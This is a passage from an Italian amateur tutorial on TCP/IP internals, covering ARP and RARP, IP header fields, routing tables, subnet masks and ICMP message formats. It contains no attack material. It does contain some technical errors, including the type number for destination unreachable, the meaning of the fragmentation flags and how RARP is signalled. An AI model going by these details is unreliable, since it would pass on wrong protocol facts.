indirizzi fisici. Quando una macchina viene collegata il provider gli assegna
un indirizzo ip, per esempio quando ci si collega da casa si entra a far parte
della LAN del provider e ci viene assegnato un ip che utilizziamo per
navigare, la stessa cosa se il nostro computer fa gia' parte della LAN (quando
ci colleghiamo con il modem viene assegnato un indirizzo fisico *logico* alla
nostra connessione e il tutto funziona esattamente come se fossimo parte della
rete attraverso una scheda), il problema fondamentale e' il rapporto tra
l'indirizzo fisico e quello ip, per capire meglio il problema facciamo un
esmpio:

RETE n RETE n+2...
RETE 1 | | RETE 2
| |
B1 ___R1---R3----R2______________B2
| / | \ |
| / | \ |
A1----S1----D1 RETE n+1... A2----S2----D2
| |
| |
C1 C2

Ammettiamo che l'host A1 sulla rete 1 voglia mandare un pacchetto all'host A2
sulla rete 2, il pacchetto viene mandato al server S1, siamo sempre nella
rete 1 quindi si usano indirizzi fisici, S1 lo manda al router R1 utlizzando
il suo ip, R1 lo manda a R3, R3 lo manda a R2, tutto solo attraverso l'ip, R2
lo manda a S2, S2 ha un pacchetto di cui conosce l'ip del destinatario ma deve
usare indirizzi fisici per mandarlo a destinazione. Come fa S2 a sapere quale
indirizzo fisico corrisponde all'ip di A2? Abbiamo detto che gli indirizzi ip
sono indipendenti dalle macchine quindi non si possono, tranne in casi
particolari, assegnare in relazione dell'indirizzo fisico, normalmente quando
una connessione diventa attiva l'indirizzo gli viene assegnato dal server o da
una altra macchina arbitrariamente (vedi RARP) quindi il problema rimane.
Viene risolto attraverso il protocollo ARP (Address Resolution Protocol)
che consiste nel broadcast di un messaggio di richiesta dell'ip, in altre
parole S2 manda un pacchetto su tutta la rete dove richiede alla macchina a
cui corrisponde l'ip XXX di rispondere e specificare il suo indirizzo fisico.
Di tutte le macchine sulla rete risponde solo la macchina che ha veramente
l'indirizzo ip XXX, le altre scartano il pacchetto, a questo punto S1 conosce
l'indirizzo fisico di A2 e puo' iniziare a mandargli dati con questo.
Normalmente S2 ha montata una memoria dove mantiene per un breve periodo la
coppia ip-mac (mac address=indirizzo fisico) cosi' da non dover tutte le volte
rifare il broadcast, anche supponendo che di solito un pacchetto non e' solo
ma ne seguiranno altri. Un problema simile e' quello del riconoscimento da
parte di un host del proprio ip, in alcune reti l'ip di una macchina e' sempre
lo stesso ma normalmente gli ip vengono assegnati dinamicamente, ovvero ad
ogni connessione corrisponde un ip diverso. Come puo' la macchina M sapere
quale e' il proprio ip? Non lo sa, e lo chiede.

Ammettiamo che ci sia una macchina S che sia quella che assegna gli ip alle
nuove connessioni, non e' detto che S sia fisicamente sempre la stessa
macchina, per qualche motivo puo' venire cambiata e quindi cambia il suo
indirizzo fisico, puo' anche essere che esistano piu' macchine S con la stessa
funzione, in generale l'indirizzo di S puo' non essere sempre lo stesso quindi
M non puo' semplicemente "chiederlo" a S. Per assegnare gli ip si usa il
protocollo RARP (Reverse ARP) ovvero M manda un broadcast su tutta la rete
chiedendo alla macchina S di rispondere, il messaggio nel campo protocol
dell'ip header (vedi dopo) contiene il codice che identifica RARP, S risponde
a M indicando (assegnandole) il suo ip.


CONNECTIONLESS PACKET DELIVERY SERVICE

E' il servizio basilare che offre il protocollo IP.
Qui bisogna fare un po di distinzione tra il protocollo IP e gli altri
protocolli
che vengono usati al suo interno. La necessita' fondamentale e' quella di
connettere reti diverse, sia per l'hardware che per il software, questo viene
offerto dal protocollo IP attraverso un sistema di assegnazione degli
indirizzi (quello che abbiamo visto finora), un formato standard da utilizzare
per i dati (arriva ora) e una modo generale su come indirizzare i dati nella
rete (routing, arriva dopo). Quindi attraverso il protocollo IP si e' creata
quella sovrastruttura di cui si parlava prima; anche se a livello basilare
macchine diverse ora hanno un linguaggio comune con cui interagire. Ottenuto
questo ogni servizio che viene offerto in rete utilizza dei meccanismi che
sfruttano tale linguaggio utilizzando gli stessi elementi ma ricombinandoli in
modo da ottenere il proprio scopo; per esempio il protocollo UDP forma una
sovrastruttura su quella gia formata dall' IP , la stessa cosa fa il
protocollo TCP. In particolare quest' ultimo viene usato cosi' frequentemente
da essere considerato parte integrante dell'ip, l'insieme dei protocolli
imposti dall' IP viene chiamato spesso TCP-IP. L' IP viene chiamato
"unreliable,best effort, connectionless packet delivery service".
Connectionless perche' permette la comunicazione tra due host tra i quali non
ci sia una vera connessione diretta (un canale preferenziale solo per quei
due), packet dleivery system perche' offre un sistema per trasferire dati
suddividendoli in pacchetti, unreliable (inaffidabile) perche' se un pacchetto
viene disperso il protocollo non informa ne' il mittente ne' il ricevente
della perdita, soprattutto non comprende nessun tentativo di farlo, best
effort perche' in fondo ce la mette tutta. I dati vengono trasportati in
rete in pacchetti (datagram) di dimensione prestabilita, il formato standard
prevede che ogni pacchetto deve essere costituito da un numero massimo di
2^16 byte, circa 65k. Ogni volta che mandiamo un file qualsiasi da un
computer ad un altro il file viene suddiviso in pacchetti, i pacchetti vengono
inviati singolarmente e viaggiano *in modo indipendente*, all'arrivo vengono
riassemblati per ricostruire il file originale.

FRAMMENTAZIONE: l'MTU (maximum transfer unit) ovvero la dimensione
massima dei pacchetti e' un concetto presente ovviamente in ogni protocollo
che governa una rete sia estesa che LAN, ovvero ogni LAN ha un suo mtu che
soddisfa ai propri scopi. I pacchetti viaggiano attraverso LAN e quindi si
puo' presentare la situazione in cui un pacchetto da 65k viene mandato
all'interno di una rete che ha un mtu diverso. Se l'mtu e' piu' grande non
c'e' problema, se l'mtu e' minore il pacchetto viene suddiviso in frammenti
piu' piccoli, questi frammenti sono anch'essi del tutto indipendenti l'uno
dall'altro e vengono riassemblati solo a destinazione, non all'uscita dalla
LAN. Sarebbe molto piu' difficile riunirli tutti all'uscita della LAN e
ricostruire il pacchetto che vi e' entrato, lo svantaggio che ne esce e' che
il file di partenza viene suddiviso in piu' pezzi e quindi aumenta la
possibilita' che qualcuno vada perso.


SCHEMA DI UN IP DATAGRAM

I 2^16 byte di un datagram sono suddivisi in una prima parte (header) che
contiene informazioni sul datagram, quando un router riceve un datagram
guarda negli header per leggere il destinatario, il mittente ed altre
informazioni che possono essergli utili, il resto del datagram e' composto dai
dati da trasportare. Quando un dtagram viene frammentato lo si suddivide in
altri datagram che hanno lo stesso header e una parte dei dati che conteneva
l'originale. Questo e' lo schema generico di un datagram suddiviso in unita'
di 32 bit.


0______4_____8____________16___19________24_____________31
|vers | hlen| tipo di s. | | lunghezza totale |
| identifier |flag| fragment offset |
|_________________________|____|_________________________|
|time to live| protocollo | header checksum |
|____________|____________|______________________________|
| IP mittente |
|________________________________________________________|
| IP destinatario |
|________________________________________________________|
| opzioni IP | padding |
|________________________________________|_______________|

vediamo i campi uno per uno:

Vers: Versone del protocollo IP che e' stato usato per creare il datagram
la versione attuale e' la 4

Hlen: Lunghezza dell'header misurata in parole di 32 bit.

Tipo di servizio : e' diviso in:

0__1__2__3__4__5__6__7__8
| prec. | D| T| R| |
|________|__|__|__|_____|

precendenze: specifica l' "importanza" dei dati contenuti con un numero
in binario da 1 a 7

D : Richiede che il datagram sia spedito con il minor ritardo possibile
(D=1 low delay, D=0 no low delay)

T : Richiede che il datagram sia spedito attraverso reti ad "alta capacita'"

R : Richiede che il datagram sia spedito attraverso reti affidabili

Gli ultimi due sono inutilizzati.
Va detto ll'utilizzo del Type of service e'opzionale, ovvero il router che
riceve un pacchetto e legge le opzioni non e' detto che possa o voglia
seguire le richieste fatte. Alcuni router non le leggono nemmeno.

Lunghezza totale: esprime la lunghezza totale del datagram (il datagram
sono al massimo 65k ma puo' essere piu' piccolo)

Identification: Quando una macchina genera un datagram gli assegna un numero
che lo identifica, in questo modo se il datagram viene frammentato ogni
frammento porta lo stesso numero e si puo' ricostruire il pacchetto iniziale.

Flags: sevono per la frammentazione; se il primo bit vale 1 si richiede che i
l datagram non venga frammentato, quindi di farlo passare per reti ad alta
capienza (se questo non e' possibile il router lo elimina e manda un messaggio
di errore al mittente, vedi icmp), se il secondo vale 1 vuol dire che il
datagram e' l'ultimo frammento di quelli in cui e' stato suddiviso il datagram
originale, serve a fare in modo che a destinazione si sappia se tutti i
frammenti di un dato pacchetto sono arrivati.

Fragment offset: e' presente nei frammenti, specifica quale e' la posizione dei

dati contenuti nel pacchetto all'interno del datagram originale. La posizione
e' specificata in unita' di 8 bit.

Time to live (TTL): E' un campo che specifica il tempo di vita del datagram,
ammettiamo che per qualche motivo un datagram entri in un loop tra due
router, per evitare che in queste situazioni vada avanti e indietro
all'infinito quando viene creato gli si da' un tempo di vita. Ogni volta che
passa per un router il TTL viene diminuito di 1 + tempo di attesa che il
datagram ha "sostato" nel router prima di essere inviato.

Protocol: Specifica il tipo di protocollo che viene utlizzato per rappresentare
i dati, tcp,udp,icmp...

Header Checksum: Contiene un codice attraverso il quale si puo' fare un
controllo
dell'integrita' dell'header (vedi udp checksum), NB solo dell'header e non
dei dati.

IP mittente/destinatario: si spiega da solo

Opzioni: viene usato per il teting/debugging di reti, e suddiviso in:

0___1___2___3___4___5___6___7___8
| A | B | C |
|___|_______|___________________|

lo spazio A si chiama copy e specifica se ha valore 1 che si vuole che le
opzioni
vengano ricopiate su ogni frammento in cui il datagram verra' eventualmente
diviso, il secondo e il terzo spazio servono a stabilire delle opzioni
particolari per il debugging tipo impostare un certo percorso stabilito, fare
in modo che sul datagram vengano scritti gli ip di tutti i router che tocca
ecc...

Padding: il campo hlen specifica la lunghezza dell'header in byte, se l'header
non
e' un multiplo esatto di un byte si aggiungono tanti bit di padding quanti ne
servono per far tornare i calcoli.

INCAPSULAMENTO: Abbiamo visto lo schema generale di un datagram ma sappiamo
che ogni datagram viaggia attraverso reti diverse con protocolli diversi,
questi devono rispettare l' IP ma si aggiungono all'IP stesso. In altre parole
quando un datagram attraversa una LAN lo schema che abbiamo visto seppure
rimanga intatto viene incapsulato in altri schemi, ovvero il datagram viene
rinchiuso in un'altra "cornice" (frame) che contiene soddisfi i protocolli
interni di tale LAN. All'uscita viene spogliato di questa cornice (che poi
altro non sono che degli headers aggiunti in testa al pacchetto) e riinviato.


ROUTING IP DATAGRAMS


Abbiamo detto che il protocollo IP offre tre standard, il primo riguarda
la gestione degli indirizzi, il sevondo riguarda i formati dei pacchetti,
il terzo riguarda il routing ovvero come le varie LAN devono instradare
i pacchetti che le attraversano. Il problema puo' essere suddiviso in due
tipi:
direct delivering (consegna diretta) : e' il caso in cui un pa

  
cchetto e'
gia' nella rete di destinazione, in particolare il pacchetto puo' essere
appena arrivato dall'esterno oppure puo' essere stato mandato da una
macchina ad un altra della stessa LAN. La macchina A deve raggiungere la
macchina B e lo scambio avverra' solo attraverso indirizzi fisici essendo
tutto all'interno della rete locale. A legge nell'header l'indirizzo di
destinazione, divide l'IP dest. nella parte netit e hostid, riconosce
nel netid la propria rete, utilizza ARP per per trasformare l'IP di B nel
suo mac address e utilizza il mac per far arrivare il pacchetto.

indirect delivering (consegna indiretta) : e' il caso in cui un pacchetto
viene inviato da una rete ad un'altra. Il primo problema e' quello di far
uscire il pacchetto dalla propria LAN, se la rete di cui A (mittente) e'
parte e' grande probabilmente vi saranno collegati piu' router e
bisogna scegliere a quale router far arrivare il pacchetto.

*Tutti gli scambi nell'indirect delivering si basano solo sul netid*

Per decidere a quale router deve mandare il suo pacchetto A ha al suo
interno una "routing table" ovvero una tabella che accoppia netid
destinatario con l'ip del router "di strada" per quella LAN. In questo
modo viene scelto il miglore tra i possibili. Una volta arrivato al
router il pacchetto deve essere mandato attraverso altre LAN fino alla
LAN di B (destinatario), si usa una tecnica chiamata next hop routing
ovvero il router mantiene una sua routing table dove accoppia il netid
destinazione con il prossimo router "di strada" per quella LAN.

Osservazioni importanti:
1- Le routing tables accoppiano il netid di una LAN con l'IP del router
piu' comodo per raggiungerla, si disinteressano degli hostid in modo
da mantenere le tabelle piu' piccole.

2- Quando un datagram passa attraverso un router l'unica cosa che viene
cambiata al suo interno sono gli header relativi al Time to live, non
viene scritto da nessuna parte l'ip del router attraverso cui si passa.
Questo e' fondamentale perche' ha come conseguenza il fatto che non si
puo' conoscere la provenienza di un datagram se non leggendone l'ip mitt.
negli headers. Per questo si chiama next hop routing, (traducibile con
qualcosa del tipo "instradamento al prossimo salto" ;) ) perche' ogni
router si disinteressa dell'intero percorso passato o futuro del datagram
e pensa solo al prossimo salto. Questo ha ovviamente vantaggi e svantaggi:
un "vantaggio" e' che non si puo' verificare se l'ip mittente e'
veramente quello di partenza, uno svantaggio e' che se un router si
rompe per qualche motivo non e' possibile dire a quelli prima, se non a
quello immediatamente precedente, che quel router e' inutilizzabile e
che devono cambiare le loro routing tables (come il router precedente
si accorga dell'errore riguarda il protocollo tcp, vedi dopo).


Facciamo un esempio di routing table giusto per chiarirsi.


___________ __________ ____________ ___________
| Rete A | | Rete B | | Rete C | | Rete D |
| 10.0.0.0|---Q---|20.0.0.0|---R---| 30.0.0.0 |---S---|40.0.0.0 |
|_________| |________| |__________| |_________|


le reti A,B,C,D hanno netid rispettivamente 10,20,30,40; Q,R,S sono i
router che le collegano, ognuno ha due indirizzi ip che perche' fanno
parte di due reti , il router Q ha 10.0.0.5 per la A e 20.0.0.5 per la
B; R ha 20.0.0.6 per la B e 30.0.0.6 per la C; S ha 30.0.0.7 per la C
e 40.0.0.7 per la D.
L
a routing table di R e' del tipo:

Netid Route
10 20.0.0.5

20 direct delivery

30 direct delivery

40 30.0.0.7


Tuttoquesto nel caso piu' semplice in cui i router non utlizzano le
opzioni contenute negli header per instradare i datagram, che poi e' il
caso piu' frequente, altrimenti le routing tables avranno piu'
alternative per ogni netid.

Alcune implementazioni di questo sistema sono l'utilizzo dei default
routers e degli host specific routes. I primi servono per macchine
collegate a piccole reti locali con solo un router, ogni volta che un
pacchetto deve essere mandato fuori dalla rete viene inviato sempre
allo stesso router di default che lo manda all'esterno (tipo piccola
LAN collegata con un provider). Gli host specific routes sono dei
percorsi particolari che vengono assegnati a degli IP di prova, quando
il router riceve un pacchetto con uno di questi IP come destinatario
sa che il pacchetto deve essere spedito ad un altro router corrispondente
(si usa per il debugging).
In generale un semplice algoritmo di routing utilizzato in un router
e' di questo tipo:


vale : NT = routing table, DD = direct delivering, NH = next hop

INIZIO
|
\|/
Assegna D= IP destinatario N = netid
|
\|/
N corrisponde ad una DD ? -------------->SI---->manda al NH----->|
| |
NO |
\|/ |
RT contiene uno specific host per D?---->SI---->manda al NH----->|
| |
NO |
\|/ |
RT contiene un NH per N ? ------------->SI---->manda al NH----->|
| |
NO |
\|/ |
RT contiene un default route per N ? --->SI---->manda al NH----->|
| |
NO |
\|/ |
Dichiara errore di routing |
| \|/
|<-----------------------<----------------------
\|/
FINE


Ultime osservazioni: quando un host finale riceve un datagram controlla
se l'ip di destinazione e' veramente il suo, se e' sbagliato lo scarta.
Perche' non lo rimanda indietro? primo perche' se l'host lo rimanda non
ci si accorgera' mai dell'errore e si continuera' a commetterlo, poi
per evitare bombardamenti voluti o meno; immaginiamo che un router faccia
un involontario broadcast su tutta una LAN di un datagram, se ogni host
che lo riceve lo rimanda all'host destinazione questo sara' sommerso da
un grosso numero di datagram inutili (NB normalmente il broadcast su una
LAN e' permesso solo a certi utenti).




SUBNET E SUPERNET ADDRESS EXTENTIONS

Concetti generali:
Quando il protocollo e' stato ideato non si pensava che il numero di reti
aumentasse
in modo cosi' rapido in poco tempo, uno dei problemi del protpcollo adesso e'
quello di fornire sufficienti indirizzi. In generale i problemi sono
essenzialmente:

1: gli indirizzi possono finire (in particolare ci sono pochi ip di classe B
per reti
di medie dimensioni). Sappiamo infatti che ad ogni rete viene assegnata una
classe di ip, se una rete A e' costituita da 300 host non basta che a tale
rete venga assegnata una classe C e gli viene assegnata una classe B del tipo
123.23.0.0. quindi 254*254=64.516 [1] indirizzi di cui solo 300 vengono
utilizzati.

2: le routing tables diventano enormi utilizzando nuovi ip.

Come risolvere il problema senza rivoluzionare il protocollo?

Esistono essenzialmente tre modi per recuperare spazio inutlizzato che
consistono nel
riempire classi di indirizzi non completamente utilizzate
con altre sottoreti. In altre parole se alla rete A e' stata assegnata una
classe
23.12.0.0. che lascia 254*254=64516 indirizzi, ma la rete A ne utilizza solo
10.000 si fa in modo che gli altri 55.025 vengano utilizzati da altre reti,
utilizzando lo stesso netid per reti diverse. Il problema sta nel rendere
tutto questo invisibile dall'esterno.

1) Trasparent routers:
Ovvero dei routers contenuti in una rete locale che connettono un'altra rete
locale
alla rete globale sfruttando un'intervallo di indirizzi che non viene
utilizzato. Per es. Ad arpanet e' stata assegnata la classe A 10.0.0.0 di cui
non usa la terza cifra, gli idirizzi sono tutti del tipo 10.g.f.d. dove f
rimane inutilizzato. Ad arpanet si puo' attaccare un trasparent router che
gestisca autonomamente quello spazio di ip per una driversa lan. La lan
gestita dal router non ha un netid e i suoi host sono gestiti come se fossero
direttamente attaccati alla wan attraverso il tr.router che gestisce entrate
ed uscite con una sua routing table (ci interessa poco...).

2) Proxy ARP:
Ammettiano che la rete A sia parzilamente inutilizzata, vogliamo aggiungere
alla rete
A un'altra lan B. A e B vengono collegate con un router R e gestite come
un'unica lan, condividono lo stesso netid e quindi ogni host di A considera
ogni host di B come se fosse un elemento di A e viceversa. Le comunicazioni
con l'esterno funzionano normalmente attraverso R che mantiene una routing
table dove gestice gli indirizzi ip dei singli host, le comunicazioni tra A e
B avvengono sfruttando R e il protocollo ARP (Il problema sta nel fatto che le
comunicazioni sulla stessa rete avvengono attraverso indirizzi fisici, siccome
un elemento di A crede che gli elementi di B siano sulla stessa rete bisogna
"ingannare" il sistema di indirizzi fisici). Ammettiamo che l'host H1
(appartenete ad A) debba comunicare con H2 (appartenete a B); quando H1 si
accorge che il netid di H2 e' il suo, crede che H2 sia sulla sua stessa rete
quindi utilizza ARP richiedendo un un indirizzo fisico per H2 su A. R conosce
l'indirizzo ip e fisico di H2 e sa che sta sulla rete B e risponde ad H1 con
il suo indirizzo fisico "spacciandosi" per H2. Dopodiche' rinvia il pacchetto
a H2. Il vantaggio di questa tecnica e' che aggiungendo una rete B si lasciano
inalterate le routing table della rete A, lo svantaggio e' che si applica solo
su reti che utilizzano ARP e che non consente protezioni sullo Spoofing
(quando un host si "spaccia" per un altro e intercetta i suoi pacchetti), il
perche' e' abbastanza complesso. In piu' non c'e' uno strumento per aggiornare
le R. T. quindi va fatto a mano.

3) Subet Addressing:
E' il metodo piu' utilizzato e considerato standard nel protocollo ip.
Consiste nel suddividere ad albero le reti basandosi sull'ip. Per esempio:
ammettiamo di voler utilizzare la classe B 100.100.0.X. con 3 reti, possiamo
utilizzare la terza cifra per discriminare tra queste, tipo 100.100.100.X per
la rete A 100.100.200.X per la rete B 100.100.150.X per la rete C ognuna
costituita da 254 host (per assurdo si potrebbero gestire con la stessa classe
B fino a 254 reti ognuna di 254 host o 254*254 reti ognuna con un solo
host...). La gestione degli ip e' lasciata all' amministratore della rete, e'
lui che decide quale porzione dell'ip indica il netid e quale parte indica
l'host. Questo comporta che apriori non e' piu' possibile sapere quale porzione
di un ip rappresenta il netid e quale l'hostid; abbiamo visto che il routing
si basa solo sul netid ed e' quindi necessario saperelo distinguere. Facciamo
un esempio, un router riceve un pacchetto con ip destinatario

10111001.11101110.111001010.11100011

il normale procedimento (senza subnet) e' quello di distinguere a quale classe
appartiene, (i primi bit sono 10 -> classe B), a questo punto si sa quanto e'
grande in netid (classe B -> dal bit 2 al bit 15 e' netid), si
possono controllare le corrispondenze sulla sua RT e mandare al next hop. Se si
utilizzano subnet il problema e' saper distinguere quale parte dell'hostid
viene utilizzata come ulteriore netid. Ammettiamo che la rete B dell'esempio
sia divisa in 32 subnet

10 111001.11101110.11001010.11100011
TT NNNNNNNNNNNNNNN SSSSSHHH HHHHHHHH

ove T = bit di classe
N = vero netid
S = netid delle subnet (5 bit in binario -> 2^5=32 subnet)
H = hostid

ove la parte S puo' prendere i valori relativi alle sottoreti

00000 -> subnet 1
00001 -> subnet 2
00010 -> subnet 3
ecc...

NB Normalmente si cerca di mettere nella stessa classe Subnet fisicamente
vicine ma non c'e' nessuna regola ferrea. Il fatto che le subnet siano
all'interno della stessa classe non vuol dire per forza che siano fisicamente
vicine, mandare un datagram verso la subnet 1 non voul dire automaticamente
avvicinarsi anche alla 2, potrebbero essere una in polinesia e una a
Trastevere.

Il router ha quindi bisogno di sapere quale e' il vero netid (ovvero la parte
N e S). Si usano delle subnet mask, ovvero delle "maschere" che ci dicono
quale e' la parte di netid e quale quella di hostid. Una subnet mask e' una
serie di 4 ottetti del tipo


11111111.11111111.11111000.00000000

gli 1 rappresentano la parte di netid, gli zero quella di hostid.
Quella sopra e' la mask dell'esempio precedente, altri esempi sono:

11111111 11111111 11101100 11000000
11111111 11111100 11000110 11100000

il protocollo non impone che i bit di netid siano sequanziali ma lo consiglia.
Le routing tables diventano del tipo:

<subnet mask,network address, next hop address>

il router fa un' operazione di and logico tra l'indirizzo IP del destinatario
del pacchetto e il primo campo di ogni riga della RT (l'and funziona cosi'
(1 and 1) = 1, (0 and 0) = 0, (1 and 0) = (0 and 1) = 0 bit per bit, quello
che viene fuori e' il netid) fino a quando il risultato non combacia con
il netid del secondo campo.
Nel nostro esempio abbiamo un ip destinatario:

10111001.11101110.11001010.11100011

e una RT che conterra' una riga formata da

<11111111.11111111.11111000.00000000 ; 10111001.11101110.11001 ; IP next hop)

che corrisponde al next hop per la rete che ha come subnet 11101 (quella che
contiene il nostro host finale).

facendo l'operazione and tra l'ip e la subnet si ottiene

10111001.11101110.11001010.11100011 and
11111111.11111111.11111000.00000000 =
---------------------------------------
10111001.11101110.11001000.00000000
NNNNNNNNNNNNNNNNNNNNNNNHHHHHHHHHHHH

il risultato di un and logico essendo gli ultimi bit della subnet mask uguali
a zero ha gli ultimi bit uguali a zero, tutti quelli prima sono il netid. A
questo punto il risultato coincide con il secondo campo della RT quindi si
puo' utilizzare il next hop.


PROMEMORIA SUI PROTOCOLLI DI INTERNET
La rete si basa sull' IP ovvero internet protocol, tutti gli scambi fatti in
rete
vengono fatti ubbidendo al formato IP. La rete pero' offre servizi diversi
con necessita' diverse e quindi anche se la base comune da usare e' l'IP si
aggiungono altri protocolli che soddisfino tali necessita'. Ogni volta che si
manda un datagram da una macchina ad un'altra lo si manda utilizzando il frame
dell' IP ma al suo interno il datagram puo' essere organizzato secondo altri
protocolli (tcp,udp,icmp..). Quando si riceve un datagram esiste nell'IP
header il campo Protocol che specifica in quale formato sono organizzati i
dati all'interno, la macchina ricevente legge tale campo e sa se il contenuto
e' da interpretare come un messaggio tcp, udp ecc...


ICMP FORMAT (((((((((((((icmp fa parte dello strato internet!!!)))))))))))))))

Fin ora abbiamo descritto il protocollo di basso livello attraverso il quale
tutte le applicazioni comunicano su una rete basata sul protocollo ip.
Il formato icmp offre un certo tipo di servizio che si basa sull' ip per
comunicare
determinati tipi di dati, nonstante questo e' una parte cosi' fondamentale
del protpcollo che viene considerata di basso livello.

ICMP (Internet Control Message Protocol) serve a riportare errori all'host
mittente.
Quando un host destinazione o un router si accorge di un errore (ip
sbagliato, router sovraccarico che non puo' inviare datagram...) rimanda al
mittente un messaggio nel formato icmp, la macchina che riceve tale messaggio
utilizzera' un sw particolare per ovviare a tale errore. E' evidente che non
sempre l'errore puo' essere corretto, in particolare non possono essere
corretti quegli errori che non dipendono dal mittente, ammettiamo che un
router sbagli il routing, il router successivo non sa da dove tale datagram
provenisse quindi rimanda un messaggio di errore alla macchina mittente, anche
la macchina mittente non conosce il punto in cui e' avvenuto l'errore quindi
non e' possibile rimediarvi. Normalmente comunque l'errore parte dalla
macchina iniziale.



Un messaggio icmp viene incapsulato con il formato:
___________________________________________________________
|frame header | |
|______________|____________________________________________|

____________________________________________
| ip datagram header | dati |
|____________________|_______________________|

_______________________
|icmp header|dati icmp |
|___________|___________|

Il software dei router non permette che un messaggio icmp venga inviato per un
errore provocato da un altro messaggio icmp per evitare che si inneschi un
loop.

ICMP header:

Non esiste un header standard per tutti i messaggi di errore, il formato cambia

da errore ad errore, tutti hanno in comune la maggior parte dei campi e ne
hanno di propri: in particolare il primo identifica il tipo di errore (type),
il secondo contiene altre specifiche sull'errore, il terzo e' un checksum con
la stessa funzione del checksum dell' ip header.

i tipi di errore sono:

valore di type tipo di errore
0 Echo reply
3 Destinazione non raggiungibile
4 Source quench
5 Redirect
8 Echo request
11 Time exceeded for datagram
12 Parameter problem for a datagram
13 Timestamp request
14 Timestamp reply
15 Information request (obsolete)
16 Information reply (obsolete)
17 Address mask request
18 Address mask reply

Ping o echo request e reply (type=0,8)

0_________8_________16_________24_________31
|Type(0,8)|codice(0) | checksum |
| identifier | sequence number |
|___________________________________________|
| dati opzionali |
|___________________________________________|

se si vuole verificare la presenza in rete di un host o vedere se tale host
e' attivo si manda un messaggio con il campo type su 8, al messaggio si
assegna un numero di identificazione (identifiier) e dei dati opzionali. Se si
riceve un messaggio di echo si rimanda una risposta (type=0) indicando un
nuovo identifier per la risposta, ponendo nel seq number l'identifier che era
nella richiesta di echo e ricopiando i dati opzionali inseriti come verifica.

Destinazione non raggiungibile (type=2)

0_________8_________16_________24_________31
|Type (2)|codice(0,12)| checksum |
| non usato (tutti 0) |
|___________________________________________|
| internet header + primi 64 bits |
|___________ del datagram perso ____________|

il campo codice indica i vari motivi percui una destinazione puo' non essere
raggiungibile.

Codice Significato
0 Rete irraggiungibile
1 Host irraggiungibile
2 Protocollo irraggiungibile
3 Porta irraggiungibile
4 Frammentazione necessaria ma campo df attivato
5 Source route fallita
6 Rete di destinazione sconosciuta
7 Host sorgente isolato (?)
8 Host di destinazione sconosciuto
9 Comunicazione con la rete di destinazione probita
10 Comounicazione con l'host proibita
11 Rete non raggiungibile per quel tipo di servizio
12 Host non raggiungibile per quel tipo di servizio

il punto 4 avviene quando il datagram andrebbe frammentato ma il campo df
nelle opzioni del suo header non lo permette, il punto 5 avviene quando nelle
opzioni si specifica un route che il datagram deve percorrere ma questo non
e' possibile, gli altri sono abbastanza chiari.

Source Quence (type=4)
Questo tipo di messaggio viene inviato quando il router a cui si collega per
primo e' congestionato e non puo' inviare pacchetti. Ammettiamo che un router
sia sovraccarico, un certo numero di datagram vengono messi in memoria e
mandati in ritardo quando il router e' meno carico, quando anche tale memoria
non e' piu' suffifciente i datagram vengono scartati e alla sorgente viene
inviato un messaggio source quence. La sorgente riduce il numero di dati
inviati per evitare il sovraccarico e poi lentamente aumenta di nuovo la
velocita' fino al successivo messaggio di errore. Il formato dell'header e':

0_________8_________16_________24_________31
| Type (4)|codice(0)| checksum |
| non usato (tutti 0) |
|___________________________________________|
| internet header + primi 64 bits |
|_____________ del datagram perso __________|

Redirect (type=5)

Serve per aggiornare le routing tables dei vari host. Ammettiamo che l'host
A mandi un datagram al router R e che qusto si accorga che tale datagram
poteva essere diretto ad un altro router (collegato alla lan di A) che aveva
un percorso migliore da seguire, R manda ad A un messaggio di redirect
segnalando il router migliore da scegliere per ragiungere la destinazione. In
questo modo A puo' aggiornare e miglorare la sua R.T. questo inoltre permette
che un nuovo host abbia alla sua nascita una R.T. anche formata da un solo
collegamento e questa venga aggiornata via via nel tempo. Per aggiornare le
R.T. dei router si utilizzano altre tecniche.

0_________8_________16_________24__________31
| Type(5)|codice(0-3)| checksum |
|____________________________ _______________|
|indirizzo del router da aggiungere alla R.T.|
|_____________________________ ______________|
| internet header + primi 64 bits |
|____________del datagram perso _____________|

Codice Significato
0 Ridirigi datagram per la rete (obsoleto)
1 Ridirigi datagram per un certo host
2 Ridirigi datagram per un tipo di servizio e per una rete
3 Ridirigi datagram per un tipo di servizio e un host

I codici 3,4 sono per reindirizzare certi tipi ti servizio su reti piu'
efficienti in quel servizio.

Time excedeed (type=11)

Si usa quando il campo time to live arriva al valore zero.

0_________8_________16_________24_________31
|Type(11)|codice(0,1)| checksum |
| non usato (tutti 0) |
|___________________________________________|
| internet header + primi 64 bits |
|_____________ del datagram perso __________|

Codice Significato
0 TTL ha raggiunto zero
1 Tempo di riassemblamento = 0

Quando un router riceve un frammento di datagram fa partire un timer, se il
frammento successivo non arriva entro la fine di un tempo stabilito il router
scarta il frammento (codice 1).

Timestamp request/reply (type 13,14)

Serve ai router per sincronizzare gli orologi interni. Un router A manda una
richiesta ad un router B indicando l'ora solare nel momento in cui il
datagram e' stato inviato, il router B risponde inviando l'ora di arrivo della
richiesta e l'ora in cui la risposta e' partita. In questo modo i router si
sincronizzano e possono testare la velocita' di connessione tra di loro, il
grado di sovraccarico di un router "adiacente" ecc...

0___________8___________16___________24___________31
|Type(13,14)| codice(0) | checksum |
|__________________________________________________|
| identifier | seq. Number |
|__________________________________________________|
| Tempo al momento della richiesta |
|__________________________________________________|
|Tempo al momento della ricezione della richiesta |
|__________________________________________________|
| Tempo al momento dell'invio della risposta |
|__________________________________________________|

I campi identifier e seq. hanno lo stesso significato che nel tipo 0 o 8.

Tipi 15 e 16

Venivano utlilizzati per determinare il proprio ip, ora viene fatto attraverso
il protocollo arp.


Subnet masks reply/request (type=17,18)

In alcuni casi un host puo' richiedere una subnet mask (vedi avanti)
ovvero una "griglia" che specifichi quale porzione di un ip e' il netid e quale

e' l' host id, la risposta contiene il subnet mask.

0__________8__________16_________24_________31
|Type(17,18)|codice(0)| checksum |
| identifier | sequence number |
|___________________________________________|
| address mask (nel reply) |
|___________________________________________|


PROTOCOL LAYERING (stratificazione del protocollo)

La stratificazione riguarda l'organizzazione dell'hardware e del software
utilizzato nella comunicazione attraverso il protocollo tcp/ip, in
particolare come il software venga suddiviso in livelli ognuno con una sua
funzione specifica. L'organizzazione del software e' tale da rispettare gli
standard tcp e da rendere piu' semplice la risoluzione dei problemi piu'
frequenti. Immaginiamo due macchine che comunicano sulla rete come in figura

Macchina 1 Macchina 2
Strato n Strato n
Strato n-1 Strato n-1
. .
. .
Strato 1 Strato 1
\ /
\ /
\ /
\ /
\ /
\________Rete_________/


